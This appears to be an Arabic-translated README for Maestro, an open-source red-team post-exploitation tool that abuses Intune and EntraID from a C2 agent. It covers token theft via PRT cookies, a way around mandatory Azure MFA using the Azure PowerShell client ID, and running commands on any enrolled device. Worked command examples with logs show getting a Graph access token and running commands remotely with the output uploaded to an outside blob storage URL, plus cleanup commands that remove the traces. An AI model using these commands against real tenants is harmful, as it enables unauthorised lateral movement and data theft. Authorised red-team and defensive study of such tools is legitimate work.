
Abusing Azure services over C2
Maestro هي أداة ما بعد الاستغلال مصممة للتفاعل مع Intune/EntraID من وكيل C2 على محطة عمل المستخدم دون الحاجة إلى معرفة كلمة مرور المستخدم أو تدفقات مصادقة Azure أو التلاعب بالرموز أو وحدة تحكم إدارة قائمة على الويب. تجعل Maestro التفاعل مع Intune وEntraID (وخدمات Azure أخرى محتملة) من C2 أسهل بكثير، حيث لا يحتاج المشغّل إلى الحصول على كلمة مرور المستخدم بنص واضح، أو استخراج ملفات تعريف الارتباط الخاصة بالرمز المحدّث الرئيسي (PRT) من النظام، أو تشغيل أدوات إضافية أو جلسة متصفح عبر وكيل SOCKS، أو التعامل مع تدفقات مصادقة Azure أو الرموز أو سياسات الوصول الشرطي لتنفيذ إجراءات في Azure نيابة عن المستخدم المسجّل دخوله.
Maestro هي في الأساس غلاف لطلبات ملفات تعريف الارتباط PRT المحلية واستدعاءات Microsoft Graph API مع الكثير من ميزات تحسين جودة الحياة المضافة لصالح فرق الاختراق الأحمر. تتيح Maestro مسارات هجوم بين البنية المحلية (On-Prem) وAzure. على سبيل المثال، من خلال تشغيل Maestro على جهاز مسؤول Intune، يمكنك تنفيذ نصوص PowerShell على أي جهاز مسجّل دون معرفة بيانات اعتماد المسؤول أبدًا، حتى إذا كانت MFA وامتثال الجهاز وجهازًا مرتبطًا هجينًا مطلوبة بموجب سياسات الوصول الشرطي.
وُجدت وظائف الحركة الجانبية في Maestro مستوحاة من مقالة الموت من الأعلى: الحركة الجانبية من Azure إلى Active Directory المحلي بقلم Andy Robbins (@_wald0).
يمكنك قراءة المزيد في مقالة المدونة التمهيدية هذه لـ Maestro: https://specterops.io/blog/2024/10/31/maestro-abusing-intune-for-lateral-movement-over-c2/
هناك إصدار مُجمَّع في هذا المستودع يستخدم تكوين البناء ReleasePlusMSAL. لاحظ أن هذا التكوين يدمج تبعيات MSAL في ملف .exe ولكنه يزيد حجم الملف الناتج بشكل كبير. إذا كنت لا تخطط لاستخدام طريقة -m 2 لطلب رموز الوصول (SharpGetEntraToken عبر MSAL)، يمكنك تجميع بناء Release وسيتم تقليل الحجم بشكل كبير.
اعتبارًا من فبراير 2025، تطرح Microsoft فرض MFA إلزامي للمصادقة على بوابة Azure وامتداداتها. من المحتمل أن تفشل طريقة طلب رمز الوصول الافتراضية باستخدام تدفق رمز التفويض في هذه الحالة، ولكن استخدام SharpGetEntraToken/MSAL (خيار -m 2) وتحديد معرف عميل لا يتطلب MFA مثل Azure Powershell (1950a258-227b-4e31-a9cf-717495945fc2) يجب أن يظل يعمل.
Maestro.exe <command> [subcommand] [options]
جميع الأوامر والأوامر الفرعية لها صفحة تعليمات يتم إنشاؤها باستخدام محلل أوامر مخصص لتقليل حجم الملف التنفيذي إلى أدنى حد. يمكن الوصول إلى صفحات التعليمات عن طريق إدخال أي أمر Maestro متبوعًا بـ -h أو --help.
يُرجى الرجوع إلى مخرجات خيار --help لكل أمر للحصول على أحدث معلومات الاستخدام.
يمكن العثور على أمثلة في أسفل هذا الملف.
للتصحيح، أشارك دليلًا على جهاز مسجّل في Intune يمكن الوصول إليه من مضيفي الذي يعمل عليه Visual Studio، وأنفّذ مصحح الأخطاء عن بُعد Visual Studio، وأُعدّ مهمة ما بعد البناء لنسخ ملفات الحل إلى المشاركة، وأُعدّ Visual Studio لتصحيح الأخطاء عن بُعد على النظام المسجّل.
لن يكون الوقت الذي أتمكن من قضائه في البحث والتطوير وتحسين Maestro ممكنًا بدون رعاية SpecterOps للمشروع كجزء من التزامهم بالشفافية ودعم التطوير مفتوح المصدر. أنا ممتن للغاية لتوجيهاتهم ودعمهم.
بعض ميزات Maestro كانت مستوحاة من أو مبنية على أعمال الآخرين، بما في ذلك:
إذا كنت مهتمًا بالتعاون، فتواصل معي على Twitter (@_Mayyhem) أو على BloodHoundGang Slack!
احصل على رمز وصول لـ MS Graph باستخدام MSAL ومعرف عميل Azure PowerShell (لم يمنعه فرض MFA الإلزامي بعد):
.\Maestro.exe get access-token -m 2 -t mayyhem.onmicrosoft.com -c 1950a258-227b-4e31-a9cf-717495945fc2 -s https://graph.microsoft.com/.default
2025-02-06 21:09:24.701 UTC - [INFO] Execution started
2025-02-06 21:09:24.810 UTC - [INFO] MSAL DLL loaded and ready for use.
2025-02-06 21:09:24.810 UTC - [INFO] SharpGetEntraToken attempting to get an access token
2025-02-06 21:09:25.857 UTC - [INFO] SharpGetEntraToken got an access token:
eyJ0...tDOg
2025-02-06 21:09:25.982 UTC - [INFO] Completed execution in 00:00:01.3203797
نفّذ dsregcmd.exe على جهاز Intune بالمعرف e537180b-6d04-427e-bf93-dbde818400eb، مع رفع النتائج إلى عنوان URL الخاص بحاوية Azure Storage Blob SAS باستخدام رمز وصول مشترك:
.\Maestro.exe exec intune upload -i e537180b-6d04-427e-bf93-dbde818400eb -n MyPolicy --url 'https://maestro2go.blob.core.windows.net/uploads?st=2025-01-14T20:19:57Z&se=2025-01-15T04:19:57Z&si=All&sv=2022-11-02&sr=c&sig=QYri...ZkpA%3D' --commands "%windir%\system32\dsregcmd.exe"
...
2025-01-14 20:20:28.251 UTC - [INFO] Creating new device assignment filter with displayName: d004a709-aae6-4fbf-91cd-48f227272c97
2025-01-14 20:20:28.251 UTC - [INFO] Requesting devices from Intune
2025-01-14 20:20:28.267 UTC - [INFO] Requesting IntuneDevices from Microsoft Graph
2025-01-14 20:20:28.783 UTC - [INFO] Found 1 IntuneDevice matching query in Microsoft Graph
2025-01-14 20:20:29.017 UTC - [INFO] Found 1 devices in filtered results
2025-01-14 20:20:29.361 UTC - [INFO] Obtained filter ID: 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.379 UTC - [INFO] Creating custom config policy for device: e537180b-6d04-427e-bf93-dbde818400eb
2025-01-14 20:20:29.649 UTC - [INFO] Obtained policy ID: fbca5c35-5282-4ec7-87de-a2d16a743079
2025-01-14 20:20:29.680 UTC - [INFO] Assigning policy fbca5c35-5282-4ec7-87de-a2d16a743079 with filter 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.983 UTC - [INFO] Successfully assigned policy with filter
2025-01-14 20:20:29.983 UTC - [INFO] Successfully created and assigned diagnostic logs policy with request ID 651d2244-4ad7-4efe-bb5e-d017b0c27750
2025-01-14 20:20:29.999 UTC - [INFO] Not syncing automatically, execute the following to force device sync:
.\Maestro.exe exec intune sync -i e537180b-6d04-427e-bf93-dbde818400eb
Clean up after execution:
.\Maestro.exe delete intune policy -i fbca5c35-5282-4ec7-87de-a2d16a743079
.\Maestro.exe delete intune filter -i 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.999 UTC - [INFO] Completed execution in 00:00:04.8572902